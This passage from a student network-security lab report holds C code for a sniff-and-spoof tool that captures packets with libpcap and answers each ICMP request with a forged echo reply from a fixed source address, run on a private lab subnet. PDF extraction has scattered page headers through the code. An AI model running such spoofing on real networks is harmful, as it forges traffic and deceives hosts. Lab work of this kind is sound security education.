#include <errno.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <netdb.h>#include <linux/ip.h>#include <linux/icmp.h>#include <string.h>#include <unistd.h>unsigned short in_cksum(unsigned short *, int);

void parse_argvs(char**, char*, char* );

void usage();

char* getip();

char* toip(char*);

void sendicmp(char *src_addr,char * dst_addr)

{

struct iphdr* ip; struct iphdr* ip_reply; struct icmphdr* icmp; struct sockaddr_in connection; char* packet; char* buffer; int sockfd; int one=1; int *optval=&one; int addrlen; int siz;

/*

* allocate all necessary memory

*/// printf("New Source address: %s\n", dst_addr); printf("New Destination address: %s\n", src_addr);

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

buffer = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

Page 33: lab1

Shashi Ranjan LAB1

/****************************************************************/

ip = (struct iphdr*) packet;

icmp = (struct icmphdr*) (packet + sizeof(struct iphdr));

/*

* here the ip packet is set up

*/

ip->ihl = 5;

ip->version = 4;

ip->tos = 0;

ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);

ip->id = htons(0);

ip->frag_off = 0;

ip->ttl = 64;

ip->protocol = IPPROTO_ICMP;

ip->saddr = inet_addr("192.168.126.1");

ip->daddr = inet_addr(src_addr); ip->check =0; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1)

{

perror("socket");

exit(EXIT_FAILURE);

}

Page 34: lab1

Shashi Ranjan LAB1

/*

* IP_HDRINCL must be set on the socket so that

* the kernel does not attempt to automatically add

* a default ip header to the packet

*/

// optval=1;

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(int));

/*

* here the icmp packet is created

* also the ip checksum is generated

*/

icmp->type = 0;

icmp->code = 0;

icmp->un.echo.id = random();

icmp->un.echo.sequence = 0;icmp->checksum=0; icmp-> checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr));

ip->check= in_cksum((unsigned short *)packet, sizeof(struct iphdr)+sizeof(struct icmphdr));

connection.sin_family = AF_INET;

connection.sin_addr.s_addr = ip->daddr;//connection.sin_addr._addr = inet_addr(src_addr);

printf("\npacket sent\n"); /* now the packet is sent

Page 35: lab1

Shashi Ranjan LAB1

*///memcpy(packet+20,&icmp,8);

if( (sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&connection, sizeof(struct sockaddr)))==-1){ perror("socket");

exit(EXIT_FAILURE);

}

printf("Sent %d byte packet to %s\n", ip->tot_len, src_addr);

/*

* now we listen for responses

*/

free(packet); free(buffer); close(sockfd);

//return 0;

}

void usage()

{

fprintf(stderr, "\nUsage: pinger [destination] <-s [source]>\n");

fprintf(stderr, "Destination must be provided\n");

fprintf(stderr, "Source is optional\n\n");

}

/*

Page 36: lab1

Shashi Ranjan LAB1

* return the ip address if host provided by DNS name

*/

char* toip(char* address)

{

struct hostent* h;

h = gethostbyname(address);

return inet_ntoa(*(struct in_addr *)h->h_addr);

}

/*

* in_cksum --

* Checksum routine for Internet Protocol

* family headers (C Version)

*/

unsigned short in_cksum(unsigned short *addr, int len)

{

register int sum = 0;

u_short answer = 0;

register u_short *w = addr;

register int nleft = len;

/*

* Our algorithm is simple, using a 32 bit accumulator (sum), we add

* sequential 16 bit words to it, and at the end, fold back all the

* carry bits from the top 16 bits into the lower 16 bits.

*/

Page 37: lab1

Shashi Ranjan LAB1

while (nleft > 1)

{

sum += *w++;

nleft -= 2;

}

/* mop up an odd byte, if necessary */

if (nleft == 1)

{

*(u_char *) (&answer) = *(u_char *) w;

sum += answer;

}

/* add back carry outs from top 16 bits to low 16 bits */

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* truncate to 16 bits */

return (answer);

}

/* default snap length (maximum bytes per packet to capture) */#define SNAP_LEN 1518

/* ethernet headers are always exactly 14 bytes [1] */#define SIZE_ETHERNET 14

/* Ethernet addresses are 6 bytes */#define ETHER_ADDR_LEN 6

/* Ethernet header */struct sniff_ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */};

Page 38: lab1

Shashi Ranjan LAB1

/* IP header */struct sniff_ip { u_char ip_vhl; /* version << 4 | header length >> 2 */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */};#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)#define IP_V(ip) (((ip)->ip_vhl) >> 4)

/* TCP header */typedef u_int tcp_seq;

struct sniff_tcp { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ u_char th_offx2; /* data offset, rsvd */#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) u_char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short th_win; /* window */ u_short th_sum; /* checksum */ u_short th_urp; /* urgent pointer */};

voidgot_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);

voidprint_payload(const u_char *payload, int len);

Page 39: lab1

Shashi Ranjan LAB1

voidprint_hex_ascii_line(const u_char *payload, int len, int offset);

voidprint_app_banner(void);

voidprint_app_usage(void);

/* * app name/banner */voidprint_app_banner(void){

printf("%s - %s\n", APP_NAME, APP_DESC);printf("%s\n", APP_COPYRIGHT);printf("%s\n", APP_DISCLAIMER);printf("\n");

return;}

/* * print help text */voidprint_app_usage(void){

printf("Usage: %s [interface]\n", APP_NAME);printf("\n");printf("Options:\n");printf(" interface Listen on <interface> for packets.\n");printf("\n");

return;}

/* * print data in rows of 16 bytes: offset hex ascii * * 00000 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a GET / HTTP/1.1.. */voidprint_hex_ascii_line(const u_char *payload, int len, int offset){

int i;int gap;

Page 40: lab1

Shashi Ranjan LAB1

const u_char *ch;

/* offset */printf("%05d ", offset);

/* hex */ch = payload;for(i = 0; i < len; i++) {

printf("%02x ", *ch);ch++;/* print extra space after 8th byte for visual aid */if (i == 7)

printf(" ");}/* print space to handle line less than 8 bytes */if (len < 8)

printf(" ");

/* fill hex gap with spaces if not full line */if (len < 16) {

gap = 16 - len;for (i = 0; i < gap; i++) {

printf(" ");}

}printf(" ");

/* ascii (if printable) */ch = payload;for(i = 0; i < len; i++) {

if (isprint(*ch))printf("%c", *ch);

elseprintf(".");

ch++;}

printf("\n");

return;}

/* * print packet payload data (avoid printing binary data) */voidprint_payload(const u_char *payload, int len){

int len_rem = len;int line_width = 16; /* number of bytes per line */

Page 41: lab1

Shashi Ranjan LAB1

int line_len;int offset = 0; /* zero-based offset counter */const u_char *ch = payload;

if (len <= 0)return;

/* data fits on one line */if (len <= line_width) {

print_hex_ascii_line(ch, len, offset);return;

}

/* data spans multiple lines */for ( ;; ) {

/* compute current line length */line_len = line_width % len_rem;/* print line */print_hex_ascii_line(ch, line_len, offset);/* compute total remaining */len_rem = len_rem - line_len;/* shift pointer to remaining bytes to print */ch = ch + line_len;/* add offset */offset = offset + line_width;/* check if we have line width chars or less */if (len_rem <= line_width) {

/* print last line and get out */print_hex_ascii_line(ch, len_rem, offset);break;

}}

return;}

/* * dissect/print packet */voidgot_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet){

//sendicmp(inet_ntoa(ip->ip_src),inet_ntoa(ip->ip_dst));static int count = 1; /* packet counter */

/* declare pointers to packet headers */const struct sniff_ethernet *ethernet; /* The ethernet header [1] */const struct sniff_ip *ip; /* The IP header */const struct sniff_tcp *tcp; /* The TCP header */const char *payload; /* Packet payload */

Page 42: lab1

Shashi Ranjan LAB1

int size_ip;int size_tcp;int size_payload; //sendicmp(inet_ntoa(ip->ip_src),inet_ntoa(ip->ip_dst));printf("\nPacket number %d:\n", count);count++;

/* define ethernet header */ethernet = (struct sniff_ethernet*)(packet);

/* define/compute ip header offset */ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);size_ip = IP_HL(ip)*4;if (size_ip < 20) {

printf(" * Invalid IP header length: %u bytes\n", size_ip);return;

}

/* print source and destination IP addresses */printf(" From: %s\n", inet_ntoa(ip->ip_src));printf(" To: %s\n", inet_ntoa(ip->ip_dst));

/* determine protocol */switch(ip->ip_p) {

case IPPROTO_TCP:printf(" Protocol: TCP\n");break;

case IPPROTO_UDP:printf(" Protocol: UDP\n");return;

case IPPROTO_ICMP:printf(" Protocol: ICMP\n");sendicmp(inet_ntoa(ip->ip_src),inet_ntoa(ip->ip_dst));return;

case IPPROTO_IP:printf(" Protocol: IP\n");return;

default:printf(" Protocol: unknown\n");return;

}

/* * OK, this packet is TCP. */

/* define/compute tcp header offset */tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);size_tcp = TH_OFF(tcp)*4;

Page 43: lab1

Shashi Ranjan LAB1

if (size_tcp < 20) {printf(" * Invalid TCP header length: %u bytes\n", size_tcp);return;

}

printf(" Src port: %d\n", ntohs(tcp->th_sport));printf(" Dst port: %d\n", ntohs(tcp->th_dport));

/* define/compute tcp payload (segment) offset */payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_tcp);

/* compute tcp payload (segment) size */size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp);

/* * Print payload data; it might be binary, so don't just * treat it as a string. */if (size_payload > 0) {

printf(" Payload (%d bytes):\n", size_payload);print_payload(payload, size_payload);

}//sendicmp(inet_ntoa(ip->ip_src),inet_ntoa(ip->ip_dst));

return;}

int main(int argc, char **argv){

char *dev = NULL; /* capture device name */char errbuf[PCAP_ERRBUF_SIZE]; /* error buffer */pcap_t *handle; /* packet capture handle */

char *filter_exp=argv[1]; /* filter expression [3] */struct bpf_program fp; /* compiled filter program (expression) */bpf_u_int32 mask; /* subnet mask */bpf_u_int32 net; /* ip */int num_packets = -1; /* number of packets to capture */

print_app_banner();

/* check for capture device name on command-line if (argc == 2) {

dev = argv[1];}else if (argc > 2) {

fprintf(stderr, "error: unrecognized command-line options\n\n");print_app_usage();exit(EXIT_FAILURE);

Page 44: lab1

Shashi Ranjan LAB1

}else {

find a capture device if not specified on command-line */dev = pcap_lookupdev(errbuf);if (dev == NULL) {

fprintf(stderr, "Couldn't find default device: %s\n", errbuf);exit(EXIT_FAILURE);

}

/* get network number and mask associated with capture device */if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {

fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);net = 0;mask = 0;

}

/* print capture info */printf("Device: %s\n", dev);printf("Number of packets: %d\n", num_packets);printf("Filter expression: %s\n", filter_exp);

/* open capture device */handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);if (handle == NULL) {

fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);exit(EXIT_FAILURE);

}

/* make sure we're capturing on an Ethernet device [2] */if (pcap_datalink(handle) != DLT_EN10MB) {

fprintf(stderr, "%s is not an Ethernet\n", dev);exit(EXIT_FAILURE);

}

/* compile the filter expression */if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {

fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));exit(EXIT_FAILURE);

}

/* apply the compiled filter */if (pcap_setfilter(handle, &fp) == -1) {

fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));exit(EXIT_FAILURE);

}

Page 45: lab1

Shashi Ranjan LAB1

/* now we can set our callback function */pcap_loop(handle, num_packets, got_packet, NULL);

/* cleanup */pcap_freecode(&fp);pcap_close(handle);

printf("\nCapture complete.\n");

return 0;}

In the screen dump given below we can see that my spoofer catches the icmp request from 192.168.126.157 to host 192.168.126.1 and send a reply for icmp message.

Page 46: lab1

Shashi Ranjan LAB1